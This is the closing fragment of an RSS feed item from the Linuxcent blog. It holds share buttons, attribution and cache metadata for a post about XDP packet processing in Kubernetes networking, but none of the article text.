<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-xdp-kubernetes-networking%2F&amp;linkname=XDP%20%E2%80%94%20Packets%20Processed%20Before%20the%20Kernel%20Knows%20They%20Arrived" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-xdp-kubernetes-networking%2F&amp;linkname=XDP%20%E2%80%94%20Packets%20Processed%20Before%20the%20Kernel%20Knows%20They%20Arrived" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-xdp-kubernetes-networking%2F&amp;linkname=XDP%20%E2%80%94%20Packets%20Processed%20Before%20the%20Kernel%20Knows%20They%20Arrived" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-xdp-kubernetes-networking%2F&amp;linkname=XDP%20%E2%80%94%20Packets%20Processed%20Before%20the%20Kernel%20Knows%20They%20Arrived" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-xdp-kubernetes-networking%2F&amp;linkname=XDP%20%E2%80%94%20Packets%20Processed%20Before%20the%20Kernel%20Knows%20They%20Arrived" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-xdp-kubernetes-networking%2F&amp;linkname=XDP%20%E2%80%94%20Packets%20Processed%20Before%20the%20Kernel%20Knows%20They%20Arrived" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-xdp-kubernetes-networking%2F&amp;linkname=XDP%20%E2%80%94%20Packets%20Processed%20Before%20the%20Kernel%20Knows%20They%20Arrived" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Febpf-xdp-kubernetes-networking%2F&#038;title=XDP%20%E2%80%94%20Packets%20Processed%20Before%20the%20Kernel%20Knows%20They%20Arrived" data-a2a-url="https://linuxcent.com/ebpf-xdp-kubernetes-networking/" data-a2a-title="XDP — Packets Processed Before the Kernel Knows They Arrived"></a></p><p>The post <a href="https://linuxcent.com/ebpf-xdp-kubernetes-networking/">XDP — Packets Processed Before the Kernel Knows They Arrived</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/ebpf-xdp-kubernetes-networking/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1540</post-id>	</item>
	</channel>
</rss>

<!--
Performance optimized by W3 Total Cache. Learn more: https://www.boldgrid.com/w3-total-cache/?utm_source=w3tc&utm_medium=footer_comment&utm_campaign=free_plugin

Page Caching using Disk: Enhanced 

Served from: linuxcent.com @ 2026-08-22 11:14:39 by W3 Total Cache
-->